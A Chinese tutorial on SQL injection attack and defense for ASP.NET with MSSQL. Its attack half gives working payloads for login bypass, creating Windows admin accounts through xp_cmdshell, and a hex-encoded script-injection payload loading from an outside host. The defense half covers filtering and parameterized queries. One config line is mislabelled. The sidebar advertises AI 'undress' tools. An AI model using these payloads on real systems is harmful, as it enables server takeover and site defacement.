首頁 資料庫 mysql教程 SQL注入攻防入门详解

SQL注入攻防入门详解

Jun 07, 2016 pm 04:14 PM
sql 入門 開始 攻防 畢業 注入 詳解

毕业开始从事 winfrm 到今年转到 web ,在码农届已经足足混了快接近 3 年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发必须的各种借口。这几天把 sql 注入的相关知识整理了下,希望大家多多提意见。 (对于 sql 注入的攻防,我只用过简单拼

毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。

(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)

 

    下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。   

    示例程序下载:SQL注入攻防入门详解_示例

 

什么是SQL注入(SQL Injection

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

 

 

尝尝SQL注入

1.   一个简单的登录页面

关键代码:(详细见下载的示例代码)

?
1 2 3 4 5 6 privateboolNoProtectLogin(string userName,string password) { int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format        ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password)); return count > 0 ?true :false; }

方法中userName password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin  123456

 

1)   输入正常数据,效果如图:

image

合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'

 

2)   输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入

image

    合并的SQL为:

    SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。(常常的手法:前面加上'; ' (分号,用于结束前一条语句),后边加上'--' (用于注释后边的语句)

 

2.   上面是最简单的一种SQL注入,常见的注入语句还有:

1)   猜测数据库名,备份数据库

a)   猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases

b)   备份数据库:;backup database 数据库名 to disk = ‘c:\*.db’;--

或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--

2)   猜解字段名称

a)   猜解法:and (select count(字段名) from 表名)>0   若“字段名”存在,则返回正常

b)   读取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0   col_name(object_id('表名'),1)中的1依次换成2,3,4,56…就可得到所有的字段名称。

3)   遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

    先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

a)   利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b)   利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

c)   利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (实验成功)

d)   利用 bcp 命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’

Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

sql查询器中通过语句:Exec master..xp_cmdshell N'BCP’即可查看BCP相关参数,如图:

image

4)   查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin

可通过1=(select IS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。

5)   设置新的数据库帐户(得到MSSQL管理员账户)

d)   在数据库内添加一个hax用户,默认密码是空

;exec sp_addlogin'hax';--

e)   hax设置密码 (null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_password null,password,username;--

f)   hax添加到sysadmin

;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

6)   xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:

a)   判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

b)   恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

通过执行下面语句进行设置:

-- 允许配置高级选项

EXEC sp_configure 'show advanced options', 1

GO

-- 重新配置

RECONFIGURE

GO

-- 启用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c)   禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d)   添加windows用户:

Exec xp_cmdshell 'net user awen /add';

e)   设置好密码:

Exec xp_cmdshell 'net user awen password';

f)   提升到管理员:

Exec xp_cmdshell 'net localgroup administrators awen /add';

g)   开启telnet服务:

Exec xp_cmdshell 'net start tlntsvr'

7)   没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell ,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell ,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell ,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

在使用的时候会报如下错:

SQL Server 阻止了对组件 'Ole Automation Procedures' 的过程 'sys.sp_OACreate''sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

        解决办法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

好了,这样别人可以登录你的服务器了,你怎么看?

8)   客户端脚本攻击

攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。

 

攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。

参考:

注入:SQL注入案例曝光,请大家提高警惕

恢复:批量清除数据库中被植入的js

示例代码:(可在示例附带的数据库测试)

a)   向当前数据库的每个表的每个字段插入一段恶意脚本

?
1 2 3 4 5 6 7 8 9 10 11 12 13 Declare @TVarchar(255),@CVarchar(255) Declare Table_CursorCursor For Select A.Name,B.Name From SysobjectsA,Syscolumns BWhere A.Id=B.IdAnd A.Xtype='u' And (B.Xtype=99Or B.Xtype=35Or B.Xtype=231Or B.Xtype=167) Open Table_Cursor Fetch Next From  Table_CursorInto  @T , @C While(@@Fetch_Status=0) Begin Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''')     Fetch Next From Table_CursorInto  @T , @C End Close Table_Cursor DeallocateTable_Cursor

b)   更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行

?
1 2 dEcLaRe @svArChAr(8000)sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);--

c)   批次删除数据库被注入的脚本

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 declare @delStrnvarchar(500) set @delStr='' --要被替换掉字符   setnocounton   declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500)   set @iResult=0 declare curcursor for selectname,idfrom sysobjectswhere xtype='U'   open cur fetch next from curinto @tableName,@tbID   while @@fetch_status=0 begin declare cur1cursor for         --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 select name from syscolumnswhere xtypein (231,167,239,175)and id=@tbID open cur1 fetch next from cur1into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName +'] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''     execsp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin     print'表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;' end fetch next from cur1into @columnName end close cur1 deallocate cur1   fetch next from curinto @tableName,@tbID end print'数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'   close cur deallocate cur setnocountoff

 

d)   我如何得到“HEX编码”?

开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ 

Ø 在线转换 (TRANSLATOR, BINARY),进入……

Ø  C#版的转换,进入……

 

 

防止SQL注入

1.   数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。

MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin

2.   自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

 ASP.NET 中,可通过web.config配置文件的节点设置:

?
1 2 3     

更详细,请进入……

mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。

On

指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。

Off

指定禁用自定义错误。这允许显示标准的详细错误。

RemoteOnly

指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。

看下效果图:

设置为一般性错误:

image

 

设置为

image

 

3.   把危险的和不必要的存储过程删除

xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。

xp_cmdshell

能执行dos命令,通过语句sp_dropextendedproc删除,

不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dllsql server 2000windows7

xpsql70.dll(sqlserer 7.0)

xp_fileexist

用来确定一个文件是否存在

xp_getfiledetails

可以获得文件详细资料

xp_dirtree

可以展开你需要了解的目录,获得所有目录深度

Xp_getnetname

可以获得服务器名称

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以访问注册表的存储过程

Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要请丢弃OLE自动存储过程

 

4.   非参数化SQL与参数化SQL

1)   非参数化(动态拼接SQL

a)   检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的《HTML特殊转义字符》转换掉。

b)   类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。

c)   长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。

d)   使用枚举:如果只有有限的几个值,就用枚举。

e)   关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!

这边提供一个关键字过滤参考方案(MSSQL)

?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static bool ValiParms(string parms) {     if (parms ==null)     {         return false;     }     Regex regex =new Regex("sp_", RegexOptions.IgnoreCase);     Regex regex2 =new Regex("'", RegexOptions.IgnoreCase);     Regex regex3 =new Regex("create ", RegexOptions.IgnoreCase);     Regex regex4 =new Regex("drop ", RegexOptions.IgnoreCase);       Regex regex5 =new Regex("\"", RegexOptions.IgnoreCase);     Regex regex6 =new Regex("exec ", RegexOptions.IgnoreCase);     Regex regex7 =new Regex("xp_", RegexOptions.IgnoreCase);     Regex regex8 =new Regex("insert ", RegexOptions.IgnoreCase);     Regex regex9 =new Regex("delete ", RegexOptions.IgnoreCase);     Regex regex10 =new Regex("select ", RegexOptions.IgnoreCase);     Regex regex11 =new Regex("update ", RegexOptions.IgnoreCase);     return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms)))))))))))); }

优点:写法相对简单,网络传输量相对参数化拼接SQL小

缺点:

a)   对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。

b)   无法满足需求:用户本来就想发表包含这些过滤字符的数据。

c)   执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。

2)   参数化查询(Parameterized Query

a)   检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。

b)   参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

c)   所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。

优点:

Ø  防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXECSELECTUPDATEDELETESQL指令无效化)

Ø  参数化查询能强制执行类型和长度检查。

Ø  MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)

缺点:

Ø  不是所有数据库都支持参数化查询。目前AccessSQL ServerMySQLSQLiteOracle等常用数据库支持参数化查询。

 

疑问:参数化如何“批量更新”数据库。

a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。

EG

?
1 2 3 4 5 6 7 8 9 StringBuilder sqlBuilder=new StringBuilder(512); Int count=0; For(循环) { sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString()); SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()} …… Count++; }

 

b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured;  详细请查看……

 

疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。

 

另外:想验证重用查询计划的同学,可以使用下面两段辅助语法

?
1 2 3 4 5 6 7 8 9 --清空缓存的查询计划 DBCC FREEPROCCACHE GO --查询缓存的查询计划 SELECT stats.execution_countAS cnt, p.size_in_bytesAS [size], [sql].[text]AS [plan_text]  FROM sys.dm_exec_cached_plans p OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN sys.dm_exec_query_stats statsON stats.plan_handle = p.plan_handle GO

3)   参数化查询示例

效果如图:

image

参数化关键代码:

?
1 2 3 4 5 6 7 8 9 10 11 Privatebool ProtectLogin(string userName,string password) {     SqlParameter[] parameters =new SqlParameter[]     {         new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},         new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}     };     int count = (int)SqlHelper.Instance.ExecuteScalar         ("SELECT COUNT(*) FROM Login WHERE UserName= @UserName AND Password=@password", parameters);     return count > 0 ?true :false; }

 

5.   存储过程

存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

优点:

a)   安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。

b)   在创建时进行预编译,后续的调用不需再重新编译。

c)   可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。

缺点:

a)   非应用程序内联代码,调式麻烦。

b)   修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序)

c)   如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。

演示请下载示例程序,关键代码为:

?
1 2 cmd.CommandText = procName;                    // 传递存储过程名 cmd.CommandType = CommandType.StoredProcedure; // 标识解析为存储过程

 

如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能?

答:MSSQL中可以通过 EXEC sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值, EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。

关键代码:(详细见示例)

a)   sp_executesql

?
1 2 3 4 5 6 7 8 9 10 11 CREATE PROCEDURE PROC_Login_executesql( @userNamenvarchar(10), @password nvarchar(10), @count int OUTPUT ) AS BEGIN    DECLARE  @s nvarchar(1000); set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName= @userName AND Password= @password ';    EXEC sp_executesql @s ,N' @userName nvarchar(10), @password nvarchar(10), @count int output',@userName= @userName ,@password= @password ,@count=@count output END

b)   EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)

?
1 2 3 4 5 6 7 8 9 10 CREATE PROCEDURE PROC_Login_EXEC( @userNamenvarchar(10), @password varchar(20) ) AS BEGIN    DECLARE  @s nvarchar(1000); set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userNameAS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+''''; EXEC('DECLARE @count int;' +@s+'select @count '); END

          注入截图如下:

      image

 

6.   专业的SQL注入工具及防毒软件

情景1

A:“丫的,又中毒了……”

B:“我看看,你这不是裸机在跑吗?”

电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户,就会立马报出警报。

   

    情景2

    A:“终于把网站做好了,太完美了,已经检查过没有漏洞了!”

    A:“网站怎么被黑了,怎么入侵的???”

    公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。SQL注入工具介绍:10个SQL注入工具

 

7.   额外小知识:LIKE中的通配符

尽管这个不属于SQL注入,但是其被恶意使用的方式是和SQL注入类似的。

参考:SQL中通配符的使用

%

包含零个或多个字符的任意字符串。

_

任何单个字符。

[]

指定范围(例如 [a-f])或集合(例如 [abcdef])内的任何单个字符。

[^]

不在指定范围(例如 [^a - f])或集合(例如 [^abcdef])内的任何单个字符。

    在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。

注意使用通配符的索引性能问题:

a)   like的第一个字符是'%''_'时,为未知字符不会使用索引, sql会遍历全表。

b)   若通配符放在已知字符后面,会使用索引。

网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧……

截图如下:

image

    有两种将通配符转义为普通字符的方法:

1)   使用ESCAPE关键字定义转义符(通用)

在模式中,当转义符置于通配符之前时,该通配符就解释为普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,请使用:

        WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

2)   在方括号 ([ ]) 中只包含通配符本身,或要搜索破折号 (-) 而不是用它指定搜索范围,请将破折号指定为方括号内的第一个字符。EG

符号

含义

LIKE '5[%]'

5%

LIKE '5%'

后跟 0 个或多个字符的字符串

LIKE '[_]n'

_n

LIKE '_n'

an, in, on (and so on)

LIKE '[a-cdf]'

abc f

LIKE '[-acdf]'

-ac f

LIKE '[ [ ]'

[

LIKE ']'

]   (右括号不需要转义)

        所以,进行过输入参数的关键字过滤后,还需要做下面转换确保LIKE的正确执行

?
1 2 3 4 5 6 7 private static string ConvertSqlForLike(string sql) { sql = sql.Replace("[","[[]");// 这句话一定要在下面两个语句之前,否则作为转义符的方括号会被当作数据被再次处理 sql = sql.Replace("_","[_]"); sql = sql.Replace("%","[%]"); returnsql; }

 

结束语:感谢你耐心的观看。恭喜你, SQL安全攻防你已经入门了……

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1666
14
CakePHP 教程
1425
52
Laravel 教程
1325
25
PHP教程
1272
29
C# 教程
1252
24
值得你花時間看的擴散模型教程,來自普渡大學 值得你花時間看的擴散模型教程,來自普渡大學 Apr 07, 2024 am 09:01 AM

Diffusion不僅可以更好地模仿,而且可以進行「創作」。擴散模型(DiffusionModel)是一種影像生成模型。與先前AI領域大名鼎鼎的GAN、VAE等演算法,擴散模型另闢蹊徑,其主要想法是先對影像增加噪聲,再逐步去噪的過程。其中如何去噪還原原影像是演算法的核心部分。最終演算法能夠從一張隨機的雜訊影像中產生影像。近年來,生成式AI的驚人成長將文字轉換為圖像生成、視訊生成等領域的許多令人興奮的應用提供了支援。這些生成工具背後的基本原理是擴散的概念,這是一種特殊的取樣機制,克服了先前的方法中被

一鍵生成PPT! Kimi :讓「PPT民工」先浪起來 一鍵生成PPT! Kimi :讓「PPT民工」先浪起來 Aug 01, 2024 pm 03:28 PM

Kimi:一句話,十幾秒鐘,一份PPT就新鮮出爐了。 PPT這玩意兒,可太招人煩了!開個碰頭會,要有PPT;寫個週報,要做PPT;拉個投資,要展示PPT;就連控訴出軌,都得發個PPT。大學比較像是學了個PPT專業,上課看PPT,下課做PPT。或許,37年前丹尼斯・奧斯汀發明PPT時也沒想到,有一天PPT竟然如此氾濫成災。嗎嘍們做PPT的苦逼經歷,說起來都是淚。 「一份二十多頁的PPT花了三個月,改了幾十遍,看到PPT都想吐」;「最巔峰的時候,一天做了五個PPT,連呼吸都是PPT」;「臨時開個會,都要做個

Hibernate 框架中 HQL 和 SQL 的差異是什麼? Hibernate 框架中 HQL 和 SQL 的差異是什麼? Apr 17, 2024 pm 02:57 PM

HQL和SQL在Hibernate框架中進行比較:HQL(1.物件導向語法,2.資料庫無關的查詢,3.類型安全),而SQL直接操作資料庫(1.與資料庫無關的標準,2.可執行複雜查詢和資料操作)。

CVPR 2024全部獎項公佈!近萬人線下參會,Google華人研究員獲最佳論文獎 CVPR 2024全部獎項公佈!近萬人線下參會,Google華人研究員獲最佳論文獎 Jun 20, 2024 pm 05:43 PM

北京時間6月20日凌晨,在西雅圖舉辦的國際電腦視覺頂會CVPR2024正式公佈了最佳論文等獎項。今年共有10篇論文獲獎,其中2篇最佳論文,2篇最佳學生論文,另外還有2篇最佳論文提名和4篇最佳學生論文提名。電腦視覺(CV)領域的頂級會議是CVPR,每年都會吸引大量研究機構和高校參會。根據統計,今年共提交了11532份論文,2719篇被接收,錄取率為23.6%。根據佐治亞理工學院對CVPR2024的數據統計分析,從研究主題來看,論文數量最多的是圖像和視頻合成與生成(Imageandvideosyn

從裸機到700億參數大模型,這裡有一個教程,還有現成可用的腳本 從裸機到700億參數大模型,這裡有一個教程,還有現成可用的腳本 Jul 24, 2024 pm 08:13 PM

我們知道LLM是在大規模電腦叢集上使用海量資料訓練得到的,本站曾介紹過不少用於輔助和改進LLM訓練流程的方法和技術。而今天,我們要分享的是一篇深入技術底層的文章,介紹如何將一堆連作業系統也沒有的「裸機」變成用來訓練LLM的電腦叢集。這篇文章來自於AI新創公司Imbue,該公司致力於透過理解機器的思維方式來實現通用智慧。當然,將一堆連作業系統也沒有的「裸機」變成用於訓練LLM的電腦叢集並不是一個輕鬆的過程,充滿了探索和試錯,但Imbue最終成功訓練了一個700億參數的LLM,並在此過程中積累

AI在用 | AI製作獨居女孩生活Vlog,3天狂攬萬點讚量 AI在用 | AI製作獨居女孩生活Vlog,3天狂攬萬點讚量 Aug 07, 2024 pm 10:53 PM

機器之能報道編輯:楊文以大模型、AIGC為代表的人工智慧浪潮已經在悄悄改變我們生活及工作方式,但絕大部分人依然不知道該如何使用。因此,我們推出了「AI在用」專欄,透過直覺、有趣且簡潔的人工智慧使用案例,來具體介紹AI使用方法,並激發大家思考。我們也歡迎讀者投稿親自實踐的創新用例。影片連結:https://mp.weixin.qq.com/s/2hX_i7li3RqdE4u016yGhQ最近,獨居女孩的生活Vlog在小紅書上走紅。一個插畫風格的動畫,再配上幾句治癒系文案,短短幾天就能輕鬆狂攬上

技術入門者必看:C語言和Python難易度解析 技術入門者必看:C語言和Python難易度解析 Mar 22, 2024 am 10:21 AM

標題:技術入門者必看:C語言和Python難易度解析,需要具體程式碼範例在當今數位化時代,程式設計技術已成為一項越來越重要的能力。無論是想要從事軟體開發、數據分析、人工智慧等領域,還是僅僅出於興趣學習編程,選擇一門合適的程式語言是第一步。而在眾多程式語言中,C語言和Python作為兩種廣泛應用的程式語言,各有其特色。本文將對C語言和Python的難易度進行解析

細數RAG的12個痛點,英偉達高級架構師親授解決方案 細數RAG的12個痛點,英偉達高級架構師親授解決方案 Jul 11, 2024 pm 01:53 PM

檢索增強式產生(RAG)是一種使用檢索提升語言模型的技術。具體來說,就是在語言模型生成答案之前,先從廣泛的文檔資料庫中檢索相關信息,然後利用這些信息來引導生成過程。這種技術能大幅提升內容的準確性和相關性,並能有效緩解幻覺問題,提高知識更新的速度,並增強內容生成的可追溯性。 RAG無疑是最令人興奮的人工智慧研究領域之一。有關RAG的更多詳情請參閱本站專欄文章《專補大模型短板的RAG有哪些新進展?這篇綜述講明白了》。但RAG也並非完美,使用者在使用時也常會遭遇一些「痛點」。近日,英偉達生成式AI高階解決

See all articles